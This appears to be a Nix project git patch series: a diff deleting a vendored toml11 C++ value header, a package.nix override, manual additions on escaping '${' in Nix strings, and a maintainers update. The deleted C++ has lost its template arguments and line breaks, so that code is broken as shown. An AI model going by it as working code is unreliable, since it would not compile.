// - // Those constructors take detail::region that contains parse result. - - basic_value(boolean b, detail::region reg, std::vector cm) - : type_(value_t::boolean), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->boolean_, b); - } - template, detail::negation> - >::value, std::nullptr_t>::type = nullptr> - basic_value(T i, detail::region reg, std::vector cm) - : type_(value_t::integer), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->integer_, static_cast(i)); - } - template::value, std::nullptr_t>::type = nullptr> - basic_value(T f, detail::region reg, std::vector cm) - : type_(value_t::floating), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->floating_, static_cast(f)); - } - basic_value(toml::string s, detail::region reg, - std::vector cm) - : type_(value_t::string), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->string_, std::move(s)); - } - basic_value(const local_date& ld, detail::region reg, - std::vector cm) - : type_(value_t::local_date), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->local_date_, ld); - } - basic_value(const local_time& lt, detail::region reg, - std::vector cm) - : type_(value_t::local_time), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->local_time_, lt); - } - basic_value(const local_datetime& ldt, detail::region reg, - std::vector cm) - : type_(value_t::local_datetime), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->local_datetime_, ldt); - } - basic_value(const offset_datetime& odt, detail::region reg, - std::vector cm) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->offset_datetime_, odt); - } - basic_value(const array_type& ary, detail::region reg, - std::vector cm) - : type_(value_t::array), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->array_, ary); - } - basic_value(const table_type& tab, detail::region reg, - std::vector cm) - : type_(value_t::table), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->table_, tab); - } - - template::value, - std::nullptr_t>::type = nullptr> - basic_value(std::pair parse_result, std::vector com) - : basic_value(std::move(parse_result.first), - std::move(parse_result.second), - std::move(com)) - {} - - // type checking and casting ============================================ - - template::value, - std::nullptr_t>::type = nullptr> - bool is() const noexcept - { - return detail::type_to_enum::value == this->type_; - } - bool is(value_t t) const noexcept {return t == this->type_;} - - bool is_uninitialized() const noexcept {return this->is(value_t::empty );} - bool is_boolean() const noexcept {return this->is(value_t::boolean );} - bool is_integer() const noexcept {return this->is(value_t::integer );} - bool is_floating() const noexcept {return this->is(value_t::floating );} - bool is_string() const noexcept {return this->is(value_t::string );} - bool is_offset_datetime() const noexcept {return this->is(value_t::offset_datetime);} - bool is_local_datetime() const noexcept {return this->is(value_t::local_datetime );} - bool is_local_date() const noexcept {return this->is(value_t::local_date );} - bool is_local_time() const noexcept {return this->is(value_t::local_time );} - bool is_array() const noexcept {return this->is(value_t::array );} - bool is_table() const noexcept {return this->is(value_t::table );} - - value_t type() const noexcept {return type_;} - - template - typename detail::enum_to_type::type& cast() & - { - if(this->type_ != T) - { - detail::throw_bad_cast("toml::value::cast: ", this->type_, *this); - } - return detail::switch_cast::invoke(*this); - } - template - typename detail::enum_to_type::type const& cast() const& - { - if(this->type_ != T) - { - detail::throw_bad_cast("toml::value::cast: ", this->type_, *this); - } - return detail::switch_cast::invoke(*this); - } - template - typename detail::enum_to_type::type&& cast() && - { - if(this->type_ != T) - { - detail::throw_bad_cast("toml::value::cast: ", this->type_, *this); - } - return detail::switch_cast::invoke(std::move(*this)); - } - - // ------------------------------------------------------------------------ - // nothrow version - - boolean const& as_boolean (const std::nothrow_t&) const& noexcept {return this->boolean_;} - integer const& as_integer (const std::nothrow_t&) const& noexcept {return this->integer_;} - floating const& as_floating (const std::nothrow_t&) const& noexcept {return this->floating_;} - string const& as_string (const std::nothrow_t&) const& noexcept {return this->string_;} - offset_datetime const& as_offset_datetime(const std::nothrow_t&) const& noexcept {return this->offset_datetime_;} - local_datetime const& as_local_datetime (const std::nothrow_t&) const& noexcept {return this->local_datetime_;} - local_date const& as_local_date (const std::nothrow_t&) const& noexcept {return this->local_date_;} - local_time const& as_local_time (const std::nothrow_t&) const& noexcept {return this->local_time_;} - array_type const& as_array (const std::nothrow_t&) const& noexcept {return this->array_.value();} - table_type const& as_table (const std::nothrow_t&) const& noexcept {return this->table_.value();} - - boolean & as_boolean (const std::nothrow_t&) & noexcept {return this->boolean_;} - integer & as_integer (const std::nothrow_t&) & noexcept {return this->integer_;} - floating & as_floating (const std::nothrow_t&) & noexcept {return this->floating_;} - string & as_string (const std::nothrow_t&) & noexcept {return this->string_;} - offset_datetime& as_offset_datetime(const std::nothrow_t&) & noexcept {return this->offset_datetime_;} - local_datetime & as_local_datetime (const std::nothrow_t&) & noexcept {return this->local_datetime_;} - local_date & as_local_date (const std::nothrow_t&) & noexcept {return this->local_date_;} - local_time & as_local_time (const std::nothrow_t&) & noexcept {return this->local_time_;} - array_type & as_array (const std::nothrow_t&) & noexcept {return this->array_.value();} - table_type & as_table (const std::nothrow_t&) & noexcept {return this->table_.value();} - - boolean && as_boolean (const std::nothrow_t&) && noexcept {return std::move(this->boolean_);} - integer && as_integer (const std::nothrow_t&) && noexcept {return std::move(this->integer_);} - floating && as_floating (const std::nothrow_t&) && noexcept {return std::move(this->floating_);} - string && as_string (const std::nothrow_t&) && noexcept {return std::move(this->string_);} - offset_datetime&& as_offset_datetime(const std::nothrow_t&) && noexcept {return std::move(this->offset_datetime_);} - local_datetime && as_local_datetime (const std::nothrow_t&) && noexcept {return std::move(this->local_datetime_);} - local_date && as_local_date (const std::nothrow_t&) && noexcept {return std::move(this->local_date_);} - local_time && as_local_time (const std::nothrow_t&) && noexcept {return std::move(this->local_time_);} - array_type && as_array (const std::nothrow_t&) && noexcept {return std::move(this->array_.value());} - table_type && as_table (const std::nothrow_t&) && noexcept {return std::move(this->table_.value());} - - // ======================================================================== - // throw version - // ------------------------------------------------------------------------ - // const reference {{{ - - boolean const& as_boolean() const& - { - if(this->type_ != value_t::boolean) - { - detail::throw_bad_cast( - "toml::value::as_boolean(): ", this->type_, *this); - } - return this->boolean_; - } - integer const& as_integer() const& - { - if(this->type_ != value_t::integer) - { - detail::throw_bad_cast( - "toml::value::as_integer(): ", this->type_, *this); - } - return this->integer_; - } - floating const& as_floating() const& - { - if(this->type_ != value_t::floating) - { - detail::throw_bad_cast( - "toml::value::as_floating(): ", this->type_, *this); - } - return this->floating_; - } - string const& as_string() const& - { - if(this->type_ != value_t::string) - { - detail::throw_bad_cast( - "toml::value::as_string(): ", this->type_, *this); - } - return this->string_; - } - offset_datetime const& as_offset_datetime() const& - { - if(this->type_ != value_t::offset_datetime) - { - detail::throw_bad_cast( - "toml::value::as_offset_datetime(): ", this->type_, *this); - } - return this->offset_datetime_; - } - local_datetime const& as_local_datetime() const& - { - if(this->type_ != value_t::local_datetime) - { - detail::throw_bad_cast( - "toml::value::as_local_datetime(): ", this->type_, *this); - } - return this->local_datetime_; - } - local_date const& as_local_date() const& - { - if(this->type_ != value_t::local_date) - { - detail::throw_bad_cast( - "toml::value::as_local_date(): ", this->type_, *this); - } - return this->local_date_; - } - local_time const& as_local_time() const& - { - if(this->type_ != value_t::local_time) - { - detail::throw_bad_cast( - "toml::value::as_local_time(): ", this->type_, *this); - } - return this->local_time_; - } - array_type const& as_array() const& - { - if(this->type_ != value_t::array) - { - detail::throw_bad_cast( - "toml::value::as_array(): ", this->type_, *this); - } - return this->array_.value(); - } - table_type const& as_table() const& - { - if(this->type_ != value_t::table) - { - detail::throw_bad_cast( - "toml::value::as_table(): ", this->type_, *this); - } - return this->table_.value(); - } - // }}} - // ------------------------------------------------------------------------ - // nonconst reference {{{ - - boolean & as_boolean() & - { - if(this->type_ != value_t::boolean) - { - detail::throw_bad_cast( - "toml::value::as_boolean(): ", this->type_, *this); - } - return this->boolean_; - } - integer & as_integer() & - { - if(this->type_ != value_t::integer) - { - detail::throw_bad_cast( - "toml::value::as_integer(): ", this->type_, *this); - } - return this->integer_; - } - floating & as_floating() & - { - if(this->type_ != value_t::floating) - { - detail::throw_bad_cast( - "toml::value::as_floating(): ", this->type_, *this); - } - return this->floating_; - } - string & as_string() & - { - if(this->type_ != value_t::string) - { - detail::throw_bad_cast( - "toml::value::as_string(): ", this->type_, *this); - } - return this->string_; - } - offset_datetime & as_offset_datetime() & - { - if(this->type_ != value_t::offset_datetime) - { - detail::throw_bad_cast( - "toml::value::as_offset_datetime(): ", this->type_, *this); - } - return this->offset_datetime_; - } - local_datetime & as_local_datetime() & - { - if(this->type_ != value_t::local_datetime) - { - detail::throw_bad_cast( - "toml::value::as_local_datetime(): ", this->type_, *this); - } - return this->local_datetime_; - } - local_date & as_local_date() & - { - if(this->type_ != value_t::local_date) - { - detail::throw_bad_cast( - "toml::value::as_local_date(): ", this->type_, *this); - } - return this->local_date_; - } - local_time & as_local_time() & - { - if(this->type_ != value_t::local_time) - { - detail::throw_bad_cast( - "toml::value::as_local_time(): ", this->type_, *this); - } - return this->local_time_; - } - array_type & as_array() & - { - if(this->type_ != value_t::array) - { - detail::throw_bad_cast( - "toml::value::as_array(): ", this->type_, *this); - } - return this->array_.value(); - } - table_type & as_table() & - { - if(this->type_ != value_t::table) - { - detail::throw_bad_cast( - "toml::value::as_table(): ", this->type_, *this); - } - return this->table_.value(); - } - - // }}} - // ------------------------------------------------------------------------ - // rvalue reference {{{ - - boolean && as_boolean() && - { - if(this->type_ != value_t::boolean) - { - detail::throw_bad_cast( - "toml::value::as_boolean(): ", this->type_, *this); - } - return std::move(this->boolean_); - } - integer && as_integer() && - { - if(this->type_ != value_t::integer) - { - detail::throw_bad_cast( - "toml::value::as_integer(): ", this->type_, *this); - } - return std::move(this->integer_); - } - floating && as_floating() && - { - if(this->type_ != value_t::floating) - { - detail::throw_bad_cast( - "toml::value::as_floating(): ", this->type_, *this); - } - return std::move(this->floating_); - } - string && as_string() && - { - if(this->type_ != value_t::string) - { - detail::throw_bad_cast( - "toml::value::as_string(): ", this->type_, *this); - } - return std::move(this->string_); - } - offset_datetime && as_offset_datetime() && - { - if(this->type_ != value_t::offset_datetime) - { - detail::throw_bad_cast( - "toml::value::as_offset_datetime(): ", this->type_, *this); - } - return std::move(this->offset_datetime_); - } - local_datetime && as_local_datetime() && - { - if(this->type_ != value_t::local_datetime) - { - detail::throw_bad_cast( - "toml::value::as_local_datetime(): ", this->type_, *this); - } - return std::move(this->local_datetime_); - } - local_date && as_local_date() && - { - if(this->type_ != value_t::local_date) - { - detail::throw_bad_cast( - "toml::value::as_local_date(): ", this->type_, *this); - } - return std::move(this->local_date_); - } - local_time && as_local_time() && - { - if(this->type_ != value_t::local_time) - { - detail::throw_bad_cast( - "toml::value::as_local_time(): ", this->type_, *this); - } - return std::move(this->local_time_); - } - array_type && as_array() && - { - if(this->type_ != value_t::array) - { - detail::throw_bad_cast( - "toml::value::as_array(): ", this->type_, *this); - } - return std::move(this->array_.value()); - } - table_type && as_table() && - { - if(this->type_ != value_t::table) - { - detail::throw_bad_cast( - "toml::value::as_table(): ", this->type_, *this); - } - return std::move(this->table_.value()); - } - // }}} - - // accessors ============================================================= - // - // may throw type_error or out_of_range - // - value_type& at(const key& k) - { - if(!this->is_table()) - { - detail::throw_bad_cast( - "toml::value::at(key): ", this->type_, *this); - } - if(this->as_table(std::nothrow).count(k) == 0) - { - detail::throw_key_not_found_error(*this, k); - } - return this->as_table(std::nothrow).at(k); - } - value_type const& at(const key& k) const - { - if(!this->is_table()) - { - detail::throw_bad_cast( - "toml::value::at(key): ", this->type_, *this); - } - if(this->as_table(std::nothrow).count(k) == 0) - { - detail::throw_key_not_found_error(*this, k); - } - return this->as_table(std::nothrow).at(k); - } - value_type& operator[](const key& k) - { - if(this->is_uninitialized()) - { - *this = table_type{}; - } - else if(!this->is_table()) // initialized, but not a table - { - detail::throw_bad_cast( - "toml::value::operator[](key): ", this->type_, *this); - } - return this->as_table(std::nothrow)[k]; - } - - value_type& at(const std::size_t idx) - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::at(idx): ", this->type_, *this); - } - if(this->as_array(std::nothrow).size() <= idx) - { - throw std::out_of_range(detail::format_underline( - "toml::value::at(idx): no element corresponding to the index", { - {this->location(), concat_to_string("the length is ", - this->as_array(std::nothrow).size(), - ", and the specified index is ", idx)} - })); - } - return this->as_array().at(idx); - } - value_type const& at(const std::size_t idx) const - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::at(idx): ", this->type_, *this); - } - if(this->as_array(std::nothrow).size() <= idx) - { - throw std::out_of_range(detail::format_underline( - "toml::value::at(idx): no element corresponding to the index", { - {this->location(), concat_to_string("the length is ", - this->as_array(std::nothrow).size(), - ", and the specified index is ", idx)} - })); - } - return this->as_array(std::nothrow).at(idx); - } - - value_type& operator[](const std::size_t idx) noexcept - { - // no check... - return this->as_array(std::nothrow)[idx]; - } - value_type const& operator[](const std::size_t idx) const noexcept - { - // no check... - return this->as_array(std::nothrow)[idx]; - } - - void push_back(const value_type& x) - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::push_back(value): ", this->type_, *this); - } - this->as_array(std::nothrow).push_back(x); - return; - } - void push_back(value_type&& x) - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::push_back(value): ", this->type_, *this); - } - this->as_array(std::nothrow).push_back(std::move(x)); - return; - } - - template - value_type& emplace_back(Ts&& ... args) - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::emplace_back(...): ", this->type_, *this); - } - this->as_array(std::nothrow).emplace_back(std::forward(args) ...); - return this->as_array(std::nothrow).back(); - } - - std::size_t size() const - { - switch(this->type_) - { - case value_t::array: - { - return this->as_array(std::nothrow).size(); - } - case value_t::table: - { - return this->as_table(std::nothrow).size(); - } - case value_t::string: - { - return this->as_string(std::nothrow).str.size(); - } - default: - { - throw type_error(detail::format_underline( - "toml::value::size(): bad_cast to container types", { - {this->location(), - concat_to_string("the actual type is ", this->type_)} - }), this->location()); - } - } - } - - std::size_t count(const key_type& k) const - { - if(!this->is_table()) - { - detail::throw_bad_cast( - "toml::value::count(key): ", this->type_, *this); - } - return this->as_table(std::nothrow).count(k); - } - - bool contains(const key_type& k) const - { - if(!this->is_table()) - { - detail::throw_bad_cast( - "toml::value::contains(key): ", this->type_, *this); - } - return (this->as_table(std::nothrow).count(k) != 0); - } - - source_location location() const - { - return source_location(this->region_info_.get()); - } - - comment_type const& comments() const noexcept {return this->comments_;} - comment_type& comments() noexcept {return this->comments_;} - - private: - - void cleanup() noexcept - { - switch(this->type_) - { - case value_t::string : {string_.~string(); return;} - case value_t::array : {array_.~array_storage(); return;} - case value_t::table : {table_.~table_storage(); return;} - default : return; - } - } - - // for error messages - template - friend region_base const* detail::get_region(const Value& v); - - template - friend void detail::change_region(Value& v, detail::region reg); - - private: - - using array_storage = detail::storage; - using table_storage = detail::storage; - - value_t type_; - union - { - boolean boolean_; - integer integer_; - floating floating_; - string string_; - offset_datetime offset_datetime_; - local_datetime local_datetime_; - local_date local_date_; - local_time local_time_; - array_storage array_; - table_storage table_; - }; - std::shared_ptr region_info_; - comment_type comments_; -}; - -// default toml::value and default array/table. -// TOML11_DEFAULT_COMMENT_STRATEGY is defined in comments.hpp -using value = basic_value; -using array = typename value::array_type; -using table = typename value::table_type; - -template class T, template class A> -inline bool -operator==(const basic_value& lhs, const basic_value& rhs) -{ - if(lhs.type() != rhs.type()) {return false;} - if(lhs.comments() != rhs.comments()) {return false;} - - switch(lhs.type()) - { - case value_t::boolean : - { - return lhs.as_boolean() == rhs.as_boolean(); - } - case value_t::integer : - { - return lhs.as_integer() == rhs.as_integer(); - } - case value_t::floating : - { - return lhs.as_floating() == rhs.as_floating(); - } - case value_t::string : - { - return lhs.as_string() == rhs.as_string(); - } - case value_t::offset_datetime: - { - return lhs.as_offset_datetime() == rhs.as_offset_datetime(); - } - case value_t::local_datetime: - { - return lhs.as_local_datetime() == rhs.as_local_datetime(); - } - case value_t::local_date: - { - return lhs.as_local_date() == rhs.as_local_date(); - } - case value_t::local_time: - { - return lhs.as_local_time() == rhs.as_local_time(); - } - case value_t::array : - { - return lhs.as_array() == rhs.as_array(); - } - case value_t::table : - { - return lhs.as_table() == rhs.as_table(); - } - case value_t::empty : {return true; } - default: {return false;} - } -} - -template class T, template class A> -inline bool operator!=(const basic_value& lhs, const basic_value& rhs) -{ - return !(lhs == rhs); -} - -template class T, template class A> -typename std::enable_if::array_type>, - detail::is_comparable::table_type> - >::value, bool>::type -operator<(const basic_value& lhs, const basic_value& rhs) -{ - if(lhs.type() != rhs.type()){return (lhs.type() < rhs.type());} - switch(lhs.type()) - { - case value_t::boolean : - { - return lhs.as_boolean() < rhs.as_boolean() || - (lhs.as_boolean() == rhs.as_boolean() && - lhs.comments() < rhs.comments()); - } - case value_t::integer : - { - return lhs.as_integer() < rhs.as_integer() || - (lhs.as_integer() == rhs.as_integer() && - lhs.comments() < rhs.comments()); - } - case value_t::floating : - { - return lhs.as_floating() < rhs.as_floating() || - (lhs.as_floating() == rhs.as_floating() && - lhs.comments() < rhs.comments()); - } - case value_t::string : - { - return lhs.as_string() < rhs.as_string() || - (lhs.as_string() == rhs.as_string() && - lhs.comments() < rhs.comments()); - } - case value_t::offset_datetime: - { - return lhs.as_offset_datetime() < rhs.as_offset_datetime() || - (lhs.as_offset_datetime() == rhs.as_offset_datetime() && - lhs.comments() < rhs.comments()); - } - case value_t::local_datetime: - { - return lhs.as_local_datetime() < rhs.as_local_datetime() || - (lhs.as_local_datetime() == rhs.as_local_datetime() && - lhs.comments() < rhs.comments()); - } - case value_t::local_date: - { - return lhs.as_local_date() < rhs.as_local_date() || - (lhs.as_local_date() == rhs.as_local_date() && - lhs.comments() < rhs.comments()); - } - case value_t::local_time: - { - return lhs.as_local_time() < rhs.as_local_time() || - (lhs.as_local_time() == rhs.as_local_time() && - lhs.comments() < rhs.comments()); - } - case value_t::array : - { - return lhs.as_array() < rhs.as_array() || - (lhs.as_array() == rhs.as_array() && - lhs.comments() < rhs.comments()); - } - case value_t::table : - { - return lhs.as_table() < rhs.as_table() || - (lhs.as_table() == rhs.as_table() && - lhs.comments() < rhs.comments()); - } - case value_t::empty : - { - return lhs.comments() < rhs.comments(); - } - default: - { - return lhs.comments() < rhs.comments(); - } - } -} - -template class T, template class A> -typename std::enable_if::array_type>, - detail::is_comparable::table_type> - >::value, bool>::type -operator<=(const basic_value& lhs, const basic_value& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -template class T, template class A> -typename std::enable_if::array_type>, - detail::is_comparable::table_type> - >::value, bool>::type -operator>(const basic_value& lhs, const basic_value& rhs) -{ - return !(lhs <= rhs); -} -template class T, template class A> -typename std::enable_if::array_type>, - detail::is_comparable::table_type> - >::value, bool>::type -operator>=(const basic_value& lhs, const basic_value& rhs) -{ - return !(lhs < rhs); -} - -template class T, template class A> -inline std::string format_error(const std::string& err_msg, - const basic_value& v, const std::string& comment, - std::vector hints = {}, - const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED) -{ - return detail::format_underline(err_msg, {{v.location(), comment}}, - std::move(hints), colorize); -} - -template class T, template class A> -inline std::string format_error(const std::string& err_msg, - const toml::basic_value& v1, const std::string& comment1, - const toml::basic_value& v2, const std::string& comment2, - std::vector hints = {}, - const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED) -{ - return detail::format_underline(err_msg, { - {v1.location(), comment1}, {v2.location(), comment2} - }, std::move(hints), colorize); -} - -template class T, template class A> -inline std::string format_error(const std::string& err_msg, - const toml::basic_value& v1, const std::string& comment1, - const toml::basic_value& v2, const std::string& comment2, - const toml::basic_value& v3, const std::string& comment3, - std::vector hints = {}, - const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED) -{ - return detail::format_underline(err_msg, {{v1.location(), comment1}, - {v2.location(), comment2}, {v3.location(), comment3} - }, std::move(hints), colorize); -} - -template class T, template class A> -detail::return_type_of_t -visit(Visitor&& visitor, const toml::basic_value& v) -{ - switch(v.type()) - { - case value_t::boolean : {return visitor(v.as_boolean ());} - case value_t::integer : {return visitor(v.as_integer ());} - case value_t::floating : {return visitor(v.as_floating ());} - case value_t::string : {return visitor(v.as_string ());} - case value_t::offset_datetime: {return visitor(v.as_offset_datetime());} - case value_t::local_datetime : {return visitor(v.as_local_datetime ());} - case value_t::local_date : {return visitor(v.as_local_date ());} - case value_t::local_time : {return visitor(v.as_local_time ());} - case value_t::array : {return visitor(v.as_array ());} - case value_t::table : {return visitor(v.as_table ());} - case value_t::empty : break; - default: break; - } - throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value " - "does not have any valid basic_value.", v, "here")); -} - -template class T, template class A> -detail::return_type_of_t -visit(Visitor&& visitor, toml::basic_value& v) -{ - switch(v.type()) - { - case value_t::boolean : {return visitor(v.as_boolean ());} - case value_t::integer : {return visitor(v.as_integer ());} - case value_t::floating : {return visitor(v.as_floating ());} - case value_t::string : {return visitor(v.as_string ());} - case value_t::offset_datetime: {return visitor(v.as_offset_datetime());} - case value_t::local_datetime : {return visitor(v.as_local_datetime ());} - case value_t::local_date : {return visitor(v.as_local_date ());} - case value_t::local_time : {return visitor(v.as_local_time ());} - case value_t::array : {return visitor(v.as_array ());} - case value_t::table : {return visitor(v.as_table ());} - case value_t::empty : break; - default: break; - } - throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value " - "does not have any valid basic_value.", v, "here")); -} - -template class T, template class A> -detail::return_type_of_t -visit(Visitor&& visitor, toml::basic_value&& v) -{ - switch(v.type()) - { - case value_t::boolean : {return visitor(std::move(v.as_boolean ()));} - case value_t::integer : {return visitor(std::move(v.as_integer ()));} - case value_t::floating : {return visitor(std::move(v.as_floating ()));} - case value_t::string : {return visitor(std::move(v.as_string ()));} - case value_t::offset_datetime: {return visitor(std::move(v.as_offset_datetime()));} - case value_t::local_datetime : {return visitor(std::move(v.as_local_datetime ()));} - case value_t::local_date : {return visitor(std::move(v.as_local_date ()));} - case value_t::local_time : {return visitor(std::move(v.as_local_time ()));} - case value_t::array : {return visitor(std::move(v.as_array ()));} - case value_t::table : {return visitor(std::move(v.as_table ()));} - case value_t::empty : break; - default: break; - } - throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value " - "does not have any valid basic_value.", v, "here")); -} - -}// toml -#endif// TOML11_VALUE From b87e048b3baeafd7c4d612674e6b02b9202d8272 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 26 Jun 2024 23:30:38 -0400 Subject: [PATCH 0916/1251] Override `toml11` so it evaluates on Windows too --- package.nix | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/package.nix b/package.nix index 126af6add..158696f30 100644 --- a/package.nix +++ b/package.nix @@ -226,7 +226,10 @@ in { libsodium openssl sqlite - toml11 + (toml11.overrideAttrs (old: { + # TODO change in Nixpkgs, Windows works fine. + meta.platforms = lib.platforms.all; + })) xz ({ inherit readline editline; }.${readlineFlavor}) ] ++ lib.optionals enableMarkdown [ From 3b388f6629938317d96ce72a1cfbee64372d8ce8 Mon Sep 17 00:00:00 2001 From: Harmen Date: Thu, 27 Jun 2024 10:30:21 +0200 Subject: [PATCH 0917/1251] string interpolation escape example (#10966) * string interpolation escape example Make it easier to find the documentation, and the example might be enough for most cases. Co-authored-by: Robert Hensing Co-authored-by: Valentin Gagarin --- .../src/language/string-interpolation.md | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/doc/manual/src/language/string-interpolation.md b/doc/manual/src/language/string-interpolation.md index 1e2c4ad95..7b4a5cfef 100644 --- a/doc/manual/src/language/string-interpolation.md +++ b/doc/manual/src/language/string-interpolation.md @@ -43,6 +43,47 @@ configureFlags = " Note that Nix expressions and strings can be arbitrarily nested; in this case the outer string contains various interpolated expressions that themselves contain strings (e.g., `"-thread"`), some of which in turn contain interpolated expressions (e.g., `${mesa}`). +To write a literal `${` in an regular string, escape it with a backslash (`\`). + +> **Example** +> +> ```nix +> "echo \${PATH}" +> ``` +> +> "echo ${PATH}" + +To write a literal `${` in an indented string, escape it with two single quotes (`''`). + +> **Example** +> +> ```nix +> '' +> echo ''${PATH} +> '' +> ``` +> +> "echo ${PATH}\n" + +`$${` can be written literally in any string. + +> **Example** +> +> In Make, `$` in file names or recipes is represented as `$$`, see [GNU `make`: Basics of Variable Reference](https://www.gnu.org/software/make/manual/html_node/Reference.html#Basics-of-Variable-References). +> This can be expressed directly in the Nix language strings: +> +> ```nix +> '' +> MAKEVAR = Hello +> all: +> @export BASHVAR=world; echo $(MAKEVAR) $${BASHVAR} +> '' +> ``` +> +> "MAKEVAR = Hello\nall:\n\t@export BASHVAR=world; echo $(MAKEVAR) $\${BASHVAR}\n" + +See the [documentation on strings][string] for details. + ### Path Rather than writing From b44909ac2244bda4c387b9a17748e8a94ada9e78 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Thu, 27 Jun 2024 10:58:59 +0200 Subject: [PATCH 0918/1251] add many more examples on escaping in strings (#10974) --- doc/manual/src/language/values.md | 134 +++++++++++++++++++++++++----- 1 file changed, 114 insertions(+), 20 deletions(-) diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md index 4eb1887fa..ddd55a47e 100644 --- a/doc/manual/src/language/values.md +++ b/doc/manual/src/language/values.md @@ -6,19 +6,60 @@ *Strings* can be written in three ways. - The most common way is to enclose the string between double quotes, - e.g., `"foo bar"`. Strings can span multiple lines. The special - characters `"` and `\` and the character sequence `${` must be - escaped by prefixing them with a backslash (`\`). Newlines, carriage - returns and tabs can be written as `\n`, `\r` and `\t`, - respectively. - - You can include the results of other expressions into a string by enclosing them in `${ }`, a feature known as [string interpolation]. + The most common way is to enclose the string between double quotes, e.g., `"foo bar"`. + Strings can span multiple lines. + The results of other expressions can be included into a string by enclosing them in `${ }`, a feature known as [string interpolation]. [string interpolation]: ./string-interpolation.md - The second way to write string literals is as an *indented string*, - which is enclosed between pairs of *double single-quotes*, like so: + The following must be escaped to represent them within a string, by prefixing with a backslash (`\`): + + - Double quote (`"`) + + > **Example** + > + > ```nix + > "\"" + > ``` + > + > "\"" + + - Backslash (`\`) + + > **Example** + > + > ```nix + > "\\" + > ``` + > + > "\\" + + - Dollar sign followed by an opening curly bracket (`${`) – "dollar-curly" + + > **Example** + > + > ```nix + > "\${" + > ``` + > + > "\${" + + The newline, carriage return, and tab characters can be written as `\n`, `\r` and `\t`, respectively. + + A "double-dollar-curly" (`$${`) can be written literally. + + > **Example** + > + > ```nix + > "$${" + > ``` + > + > "$\${" + + String values are output on the terminal with Nix-specific escaping. + Strings written to files will contain the characters encoded by the escaping. + + The second way to write string literals is as an *indented string*, which is enclosed between pairs of *double single-quotes* (`''`), like so: ```nix '' @@ -40,18 +81,71 @@ "This is the first line.\nThis is the second line.\n This is the third line.\n" ``` - Note that the whitespace and newline following the opening `''` is - ignored if there is no non-whitespace text on the initial line. + > **Note** + > + > Whitespace and newline following the opening `''` is ignored if there is no non-whitespace text on the initial line. + + > **Warning** + > + > Prefixed tab characters are not stripped. + > + > > **Example** + > > + > > The following indented string is prefixed with tabs: + > > + > > '' + > > all: + > > @echo hello + > > '' + > > + > > "\tall:\n\t\t@echo hello\n" Indented strings support [string interpolation]. - Since `${` and `''` have special meaning in indented strings, you - need a way to quote them. `$` can be escaped by prefixing it with - `''` (that is, two single quotes), i.e., `''$`. `''` can be escaped - by prefixing it with `'`, i.e., `'''`. `$` removes any special - meaning from the following `$`. Linefeed, carriage-return and tab - characters can be written as `''\n`, `''\r`, `''\t`, and `''\` - escapes any other character. + The following must be escaped to represent them in an indented string: + + - `$` is escaped by prefixing it with two single quotes (`''`) + + > **Example** + > + > ```nix + > '' + > ''$ + > '' + > ``` + > + > "$\n" + + - `''` is escaped by prefixing it with one single quote (`'`) + + > **Example** + > + > ```nix + > '' + > ''' + > '' + > ``` + > + > "''\n" + + These special characters are escaped as follows: + - Linefeed (`\n`): `''\n` + - Carriage return (`\r`): `''\r` + - Tab (`\t`): `''\t` + + `''\` escapes any other character. + + A "double-dollar-curly" (`$${`) can be written literally. + + > **Example** + > + > ```nix + > '' + > $${ + > '' + > ``` + > + > "$\${\n" Indented strings are primarily useful in that they allow multi-line string literals to follow the indentation of the enclosing Nix @@ -167,7 +261,7 @@ function and the fifth being a set. Note that lists are only lazy in values, and they are strict in length. -Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt). +Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt). ## Attribute Set From 26089183e66e656699c50f928d860fc5be5279ef Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 28 Jun 2024 15:56:53 +0200 Subject: [PATCH 0919/1251] maintainers: Drop thufschmitt https://github.com/NixOS/nixos-homepage/pull/1490 --- .github/CODEOWNERS | 2 +- maintainers/README.md | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 99ca670e0..a9ca74c17 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -23,4 +23,4 @@ maintainers/*.md @fricklerhandwerk src/**/*.md @fricklerhandwerk # Libstore layer -/src/libstore @thufschmitt @ericson2314 +/src/libstore @ericson2314 diff --git a/maintainers/README.md b/maintainers/README.md index bfa0cb5a1..2a718e283 100644 --- a/maintainers/README.md +++ b/maintainers/README.md @@ -30,7 +30,6 @@ We aim to achieve this by improving the contributor experience and attracting mo ## Members - Eelco Dolstra (@edolstra) – Team lead -- Théophane Hufschmitt (@thufschmitt) - Valentin Gagarin 